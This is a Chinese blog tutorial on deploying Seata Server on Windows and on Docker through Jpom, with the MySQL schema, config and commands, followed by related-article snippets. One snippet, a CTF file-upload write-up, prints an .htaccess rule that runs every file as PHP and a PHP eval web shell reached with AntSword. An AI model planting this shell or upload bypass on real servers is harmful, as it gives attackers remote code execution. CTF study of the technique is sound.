【Seata】00 - Seata Server 部署(Windows、Docker 基于 Jpom)

文章目录

    • 前言
    • 参考目录
    • 版本说明
    • Windows 部署 seata-server
      • 1:下载压缩包
      • 2:文件存储模式
      • 3:db 存储模式
      • 3.1:建表
      • 3.2:修改配置文件
      • 3.3:启动脚本
      • 4:源码部署
    • Docker 部署 seata-server (基于 Jpom)
      • 1:安装 Jpom(安装包方式)
      • 1.1:jpom-agent 安装
      • 1.2:jpom-server 安装
      • 1.3:访问测试
      • 2:Jpom Docker部署 seata-server
      • 2.1:拉取镜像
      • 2.2:创建容器
      • 2.3:查看容器日志
      • 2.4:访问测试
      • 2.5:启动 Demo

前言

上篇文章上来就是先从事务模式入手,使用 seata-server 也是直接用 GitHub 上下载的 zip 解压后的脚本运行的,结果也没有好好地说明一下关于 seata-server 的部署,因此这篇文章先来补充一下部署的两种方式。

参考目录

  • Seata 部署指南
  • Jpom - 离线安装实践

版本说明

  • SeataV1.7.0
  • JpomV2.10.43

Windows 部署 seata-server

这种方式比较简单直接,上一篇文章就是用的这种方式。

1:下载压缩包

在 GitHub 选择下载需要的版本:
在这里插入图片描述

2:文件存储模式

Server端存储模式(store.mode)现有file、db、redis三种(后续将引入raft,mongodb),file模式无需改动,直接启动即可。

直接运行脚本,sessionStore 是运行后生成的本地存储文件。

在这里插入图片描述

但是文件存储的方式一般很少用,本文使用的是 db 存储模式。

3:db 存储模式

3.1:建表

全局事务–>分支事务–>全局锁,对应表global_table、branch_table、lock_table

在 GitHub 上有 sql 脚本:

在这里插入图片描述

这里贴一下 mysql.sql 脚本内容:

-- -------------------------------- The script used when storeMode is 'db' --------------------------------
-- the table to store GlobalSession data
CREATE TABLE IF NOT EXISTS `global_table`
(`xid`                       VARCHAR(128) NOT NULL,`transaction_id`            BIGINT,`status`                    TINYINT      NOT NULL,`application_id`            VARCHAR(32),`transaction_service_group` VARCHAR(32),`transaction_name`          VARCHAR(128),`timeout`                   INT,`begin_time`                BIGINT,`application_data`          VARCHAR(2000),`gmt_create`                DATETIME,`gmt_modified`              DATETIME,PRIMARY KEY (`xid`),KEY `idx_status_gmt_modified` (`status` , `gmt_modified`),KEY `idx_transaction_id` (`transaction_id`)
) ENGINE = InnoDBDEFAULT CHARSET = utf8mb4;-- the table to store BranchSession data
CREATE TABLE IF NOT EXISTS `branch_table`
(`branch_id`         BIGINT       NOT NULL,`xid`               VARCHAR(128) NOT NULL,`transaction_id`    BIGINT,`resource_group_id` VARCHAR(32),`resource_id`       VARCHAR(256),`branch_type`       VARCHAR(8),`status`            TINYINT,`client_id`         VARCHAR(64),`application_data`  VARCHAR(2000),`gmt_create`        DATETIME(6),`gmt_modified`      DATETIME(6),PRIMARY KEY (`branch_id`),KEY `idx_xid` (`xid`)
) ENGINE = InnoDBDEFAULT CHARSET = utf8mb4;-- the table to store lock data
CREATE TABLE IF NOT EXISTS `lock_table`
(`row_key`        VARCHAR(128) NOT NULL,`xid`            VARCHAR(128),`transaction_id` BIGINT,`branch_id`      BIGINT       NOT NULL,`resource_id`    VARCHAR(256),`table_name`     VARCHAR(32),`pk`             VARCHAR(36),`status`         TINYINT      NOT NULL DEFAULT '0' COMMENT '0:locked ,1:rollbacking',`gmt_create`     DATETIME,`gmt_modified`   DATETIME,PRIMARY KEY (`row_key`),KEY `idx_status` (`status`),KEY `idx_branch_id` (`branch_id`),KEY `idx_xid` (`xid`)
) ENGINE = InnoDBDEFAULT CHARSET = utf8mb4;CREATE TABLE IF NOT EXISTS `distributed_lock`
(`lock_key`       CHAR(20) NOT NULL,`lock_value`     VARCHAR(20) NOT NULL,`expire`         BIGINT,primary key (`lock_key`)
) ENGINE = InnoDBDEFAULT CHARSET = utf8mb4;INSERT INTO `distributed_lock` (lock_key, lock_value, expire) VALUES ('AsyncCommitting', ' ', 0);
INSERT INTO `distributed_lock` (lock_key, lock_value, expire) VALUES ('RetryCommitting', ' ', 0);
INSERT INTO `distributed_lock` (lock_key, lock_value, expire) VALUES ('RetryRollbacking', ' ', 0);
INSERT INTO `distributed_lock` (lock_key, lock_value, expire) VALUES ('TxTimeoutCheck', ' ', 0);

3.2:修改配置文件

路径:

seata/conf/application.yml

可以从 application.example.yml 文件中复制,但需要注意的是不同的 MySQL 版本需要修改驱动类名称(默认的配置不支持 MySQL 8)。

  • MySQL 5.7(默认):com.mysql.jdbc.Driver
  • MySQL 8:com.mysql.cj.jdbc.Driver

在这里插入图片描述

seata:store:# support: file 、 db 、 redismode: dbsession:mode: dblock:mode: dbdb:datasource: druiddb-type: mysqldriver-class-name: com.mysql.cj.jdbc.Driverurl: jdbc:mysql://127.0.0.1:3306/seata_test1?rewriteBatchedStatements=trueuser: rootpassword: rootmin-conn: 10max-conn: 100global-table: global_tablebranch-table: branch_tablelock-table: lock_tabledistributed-lock-table: distributed_lockquery-limit: 1000max-wait: 5000

3.3:启动脚本

同文件模式一样,直接双击启动即可。
在这里插入图片描述

4:源码部署

源码部署也比较简单,拉取代码到本地之后,修改配置,启动 main 方法即可,这里不再展开说明。

在这里插入图片描述

Docker 部署 seata-server (基于 Jpom)

Docker 部署也很简单,按照官方文档的部署步骤一步步操作下来即可。

既然要写的话就写点不一样的,之前有写过关于 Jpom 部署 RabbitMQ 的文章,本文同样以 Jpom 操作来说明如何部署 seata-server。

1:安装 Jpom(安装包方式)

之前文章里面用的是 Docker 一键安装,这里说明一下安装包的方式。

之所以用安装包安装,是因为在 Jpom 构建项目的时候,如果使用 Docker 安装,只支持容器构建,不支持本地构建。容器构建需要写 DSL 构建文档,本地构建则可以写构建命令(比较像 Jenkins 编写部署脚本,容易入手)。

文章开篇的参考目录里面就已经贴出了 Jpom 安装的官方文档,跟着文档操作即可,下面简单列举一下操作命令。

1.1:jpom-agent 安装

创建文件夹:

cd /usr/local/jpom/
mkdir jpom-agent

将安装包传到新建的文件夹中。

解压:

tar -zxf agent-2.10.43-release.tar.gz -C ./jpom-agent

运行:

cd /usr/local/jpom/jpom-agent/bin/
bash ./Agent.sh start

在这里插入图片描述

1.2:jpom-server 安装

创建文件夹:

cd /usr/local/jpom/
mkdir jpom-server

将安装包传到新建的文件夹中。

解压:

tar -zxf server-2.10.43-release.tar.gz -C ./jpom-server

运行:

cd /usr/local/jpom/jpom-server/bin/
bash ./Server.sh start

在这里插入图片描述

1.3:访问测试

访问路径:

http://192.168.2.158:2122/

初始化的一些操作这里就不再进行说明了,可以参考官方文档进行设置。

2:Jpom Docker部署 seata-server

首先在系统管理里面对相关的设备信息进行设置。

在这里插入图片描述

2.1:拉取镜像

菜单:功能管理 —— Docker 管理 —— Docker 列表 —— 控制台

在这里插入图片描述

进入镜像列表拉取镜像:

在这里插入图片描述

填写镜像名称 seataio/seata-server:1.7.0,点击拉取。

如果不知道镜像名称,可以去 dockerhub 上复制一下。

在这里插入图片描述

如果是使用服务器终端进行拉取,可以直接复制拉取命令:

docker pull seataio/seata-server:1.7.0

点击拉取之后会出现拉取日志:

在这里插入图片描述

等待拉取完成即可:

在这里插入图片描述

如果是使用终端命令拉取:

在这里插入图片描述

2.2:创建容器

拉取完成后刷新镜像列表,可以看到 seata-server 镜像。

在这里插入图片描述

点击创建容器:

在这里插入图片描述

修改容器信息:

在这里插入图片描述

容器创建完成:

在这里插入图片描述

如果是使用命令创建:

 docker run --name seata-server -p 8091:8091 -p 7091:7091 seataio/seata-server:1.7.0

2.3:查看容器日志

右侧按钮展开查看日志:

在这里插入图片描述

在这里插入图片描述

2.4:访问测试

访问路径:

http://192.168.2.158:7091/

在这里插入图片描述

在这里插入图片描述

2.5:启动 Demo

首先修改 demo 配置的 ip 地址:

在这里插入图片描述

启动所有模块,查看容器日志:

在这里插入图片描述

(完)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/118982.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java学习之序列化

1、引言 《手册》第 9 页 “OOP 规约” 部分有一段关于序列化的约定 1: 【强制】当序列化类新增属性时,请不要修改 serialVersionUID 字段,以避免反序列失败;如果完全不兼容升级,避免反序列化混乱,那么请…

引用(个人学习笔记黑马学习)

1、引用的基本语法 #include <iostream> using namespace std;int main() {int a 10;//创建引用int& b a;cout << "a " << a << endl;cout << "b " << b << endl;b 100;cout << "a "…

JVM 是怎么设计来保证new对象的线程安全

1、采用 CAS 分配重试的方式来保证更新操作的原子性 2、每个线程在 Java 堆中预先分配一小块内存&#xff0c;也就是本地线程分配缓冲&#xff08;Thread Local AllocationBuffer&#xff0c;TLAB&#xff09;&#xff0c;要分配内存的线程&#xff0c;先在本地缓冲区中分配&a…

LeetCode494. 目标和

494. 目标和 文章目录 [494. 目标和](https://leetcode.cn/problems/target-sum/)一、题目二、题解方法一&#xff1a;目标和路径计数算法方法二&#xff1a;01背包方法三&#xff1a;01背包一维数组 一、题目 给你一个非负整数数组 nums 和一个整数 target 。 向数组中的每个…

外部中断(EXTI) - 按键控制LED

一、外部中断/事件控制器(EXTI)结构图 1、结构图分析 外部中断主要由外部中断/事件控制器(External interrupt/event controller, EXTI)控制&#xff0c;它管理了外部中断或者事件的使能与否、触发方式等功能。 &#xff08; 外部中断/事件控制器(EXTI)结构图 &#xff09; …

【5】openGL使用宏和函数进行错误检测

当我们编写openGL程序&#xff0c;没有报编译链接错误&#xff0c;但是运行结果是黑屏&#xff0c;这不是我们想要的。 openGL提供了glGetError 来检查错误&#xff0c;我们可以通过在运行时进行打断点查看glGetError返回值&#xff0c;得到的是一个十进制数&#xff0c;将其转…

Nacos服务注册和服务配置

Nacos 是什么 Nacos (Dynamic Naming and Configuration Service)&#xff0c;其命名由三部分组成&#xff1a; Na (naming/nameServer)&#xff0c;即服务注册中心。 co (configuration)&#xff0c;即配置中心。 s (service)&#xff0c;即服务&#xff0c;表示 Nacos 实现的…

华为 连接OSPF和RIP网络---OSPF和RIP网络相互引入

路由引入简介 不同路由协议之间不能直接共享各自的路由信息&#xff0c;需要依靠配置路由的引入来实现。 获得路由信息一般有3种途径&#xff1a;直连网段、静态配置和路由协议。可以将通过这3种途径获得的路由信息引入到路由协议中&#xff0c;例如&#xff0c;把直连网段引入…

【文心一言】学习笔记

学习资料 《听说文心一言App霸榜了&#xff0c;那必须来一波全方位实测了》 情感陪伴&#xff1a;文心一言 App 可以充当用户的情感树洞&#xff0c;提供知心姐姐、【暖男】等角色扮演&#xff0c;为用户提供情绪疏导、情感分析、约会建议等服务。 1. 模型属性 【提示词工具…

无涯教程-Android - CheckBox函数

CheckBox是可以由用户切换的on/off开关。为用户提供一组互不排斥的可选选项时,应使用复选框。 CheckBox 复选框属性 以下是与CheckBox控件相关的重要属性。您可以查看Android官方文档以获取属性的完整列表以及可以在运行时更改这些属性的相关方法。 继承自 android.widget.T…

nuxt3+ts+vue3的ssr项目总结

目录 一、什么是SSR、SEO、SPA&#xff0c;它们之间的关系又是怎样的。 二、VUE做SSR的几种方法 1、插件prerender-spa-plugin 2、VUE开启SSR渲染模式 3、使用NUXT框架 三、NUXT3VUE3TS &#xff08;一&#xff09;基本配置 1、文件夹介绍 assets components pages…

Docker安装MySQL教程

虽然 docker 安装 mysql 不是一个很好的方案&#xff0c;但是为了个人使用方便&#xff0c;使用 docker 安装 mysql 还是没什么问题的。 本文为了方便&#xff0c;我们直接通过yum方式安装。所以&#xff0c;我们在安装之前需要电脑可以联网&#xff0c;不然我们这种方式是安装…

Python的由来和基础语法(一)

目录 一、Python 背景知识 1.1Python 是咋来的? 1.2Python 都能干啥? 1.3Python 的优缺点 二、基础语法 2.1常量和表达式 2.2变量和类型 变量的语法 (1) 定义变量 (2) 使用变量 变量的类型 (1) 整数 (2) 浮点数(小数) (3) 字符串 (4) 布尔 (5) 其他 动态类型…

《TCP/IP网络编程》阅读笔记--基于Windows实现Hello Word服务器端和客户端

目录 1--Hello Word服务器端 2--客户端 3--编译运行 3-1--编译服务器端 3-2--编译客户端 3-3--运行 1--Hello Word服务器端 // gcc hello_server_win.c -o hello_server_win -lwsock32 // hello_server_win 9190 #include <stdio.h> #include <stdlib.h> #i…

vue+element-ui el-table组件二次封装实现虚拟滚动,解决数据量大渲染DOM过多而卡顿问题

一、此功能已集成到TTable组件中 二、最终效果 三、需求 某些页面不做分页时&#xff0c;当数据过多&#xff0c;会导致页面卡顿&#xff0c;甚至卡死 四、虚拟滚动 一、固定一个可视区域的大小并且其大小是不变的&#xff0c;那么要做到性能最大化就需要尽量少地渲染 DOM 元素…

kotlin 转 Java

今天突然想研究下有些kotlin文件转为Java到底长什么样&#xff0c;好方便优化kotlin代码&#xff0c;搞了半天发现一个非常简单的Android Studio或者Intellij idea官方插件Kotlin&#xff0c;Kotlin是插件的名字&#xff0c;真是醉了&#xff1b; 这里以AS为例&#xff0c;使用…

OTFS-ISAC通信最新进展

测试场景 Tx DD域帧结构导频区域 Rx DD域帧导频区域 原始星座图 信道估计及数据检测 经过MP算法后的星座图 误码率曲线

ELK安装、部署、调试 (二) ES的安装部署

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎&#xff0c;基于RESTful web接口操作ES&#xff0c;也可以利用Java API。Elasticsearch是用Java开发的&#xff0c;并作为Apache许可条款下的开放源码发布&#xff0c;是当前流行的企业…

windows-nessus安装

1、下载 路径&#xff1a;Download Tenable Nessus | Tenable 2、获取active code 路径&#xff1a;Tenable Nessus Essentials Vulnerability Scanner | Tenable 3、安装 challenge code:上图马赛克位置 active code:获取active code第二张图片的马赛克位置 4、激活 5、安装…

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…